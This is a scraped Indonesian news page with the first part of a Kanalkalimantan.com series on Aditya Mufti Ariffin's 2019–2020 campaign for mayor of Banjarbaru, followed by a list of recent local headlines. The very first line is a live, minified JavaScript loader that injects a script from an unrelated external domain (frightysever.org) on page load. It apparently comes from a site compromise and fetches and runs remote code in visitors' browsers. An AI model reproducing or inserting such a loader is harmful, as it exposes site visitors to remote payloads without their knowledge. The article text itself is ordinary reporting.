(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilkada Banjarbaru

Langkah Aditya Pijak Balai Kota Banjarbaru (1): Ditolak Senayan, Disambut Kampung Halaman


Perjalanan Aditya Mufti Ariffin menuju kursi Wali Kota Banjarbaru cukup menarik disimak. Sejumlah kontroversi mewarnai kisah ketua DPW PPP Kalsel ini selama berlangsungnya Pilkada 2020. Apa saja itu? Simak laporan reporter Kanalkalimantan.com Alfrico Ronaldi Purba dari mulai awal pencalonan hingga dinyatakan unggul dalam perolehan suara KPU Banjarbaru.

KANALKALIMANTAN.COM, BANJARBARU – Aditya Mufti Ariffin dipastikan terpilih sebagai Wali Kota Banjarbaru periode 2021 – 2024, usai sukses memenangkan kontestasi Pilkada 2020 bersama pasangannya Wartono.
Perjalanan Ketua DPW Partai Persatuan Pembangunan (PPP) Kalimantan Selatan itu dalam meraih kursi wali kota di kota Idaman, cukup berliku. Sempat menyatakan mundur hingga bergonta-ganti pasangan menghiasi rekam jejak politik Aditya.

Keputusan pria kelahiran Banjarbaru, 21 Maret 1984 itu menjadi salah satu kandidat di ajang pemilihan kepada daerah, dipicu atas kegagalannya mempertahankan kursi anggota legislatif di DPR RI pada penyelenggaraan Pileg 2019 silam.

Pada Juni di tahun yang sama, Aditya mengumumkan tentang keinginannya itu kepada publik. Melalui wawancara khusus dengan Kanalkalimantan.com, kala itu dirinya masih mempertimbangkan maju sebagai kandidat di Kota Banjarbaru atau Kabupaten Banjar.

 

“Insya Allah. Saya akan maju sebagai peserta Pilkada 2020. Tapi semua masih berproses, tunggu saja. Kemungkinan antara Kabupaten Banjar atau Kota Banjarbaru. Toh, waktunya juga masih lama juga kan,” ujarnya saat itu.

Selang sebulan kemudian, Juli 2019, Aditya telah memutuskan sekaligus mendeklarasikan pencalonannya di Pilkada kota Banjarbaru. Pada kesempatan itu juga dirinya menampilkan sosok pendamping yang akan digandeng sebagai bakal calon Wakil Wali Kota.

Sosok itu ialah AR Iwansyah, Ketua DPD Partai Golkar Banjarbaru, yang juga saat itu masih menjabat sebagai Wakil Ketua DPRD Banjarbaru. Dari sini, cerita perjalanan duet Aditya – Iwansyah untuk menantang kandidat petahana (incumbent) almarhum Nadjmi Adhani – Darmawan Jaya Setiawan, dimulai. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell

Al Ghifari

Recent Posts

Pasar Murah Harjad ke-26 Kota Banjarbaru Ludes Tak Sampai Setengah Jam

KANALKALIMANTAN.COM, BANJARBARU - Momentum peringatan Hari Jadi (Harjad) ke-26 Kota Banjarbaru, warga Ibu Kota Provinsi… Read More

1 jam ago

Perayaan Dharmasanti Nyepi di Basarang, Bupati Kapuas: Pererat Persaudaraan di Tengah Keberagaman

KANALKALIMANTAN.COM, KUALA KAPUAS - Rangkaian perayaan Hari Raya Nyepi Tahun Baru Saka 1947 atau tahun… Read More

2 jam ago

SPMB di Banjarbaru Bulan Juni dari Zonasi ke Rayon

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru bersiap menghadapi periode tahapan pendaftaran SPMB (Sistem Penerimaan Murid Baru)… Read More

2 jam ago

Tim Sepakbola HSU Siap Berlaga di Kejurprov Kalsel 2025

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melepas tim sepakbola HSU berlaga… Read More

5 jam ago

Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Para pecinta adventure dengan menggunakan motor trail boleh bergembira. Pasalnya, Kapuas… Read More

16 jam ago

DPRD Kapuas Rapat Paripurna Pemandangan Fraksi Terkait Pemekaran Kecamatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke… Read More

17 jam ago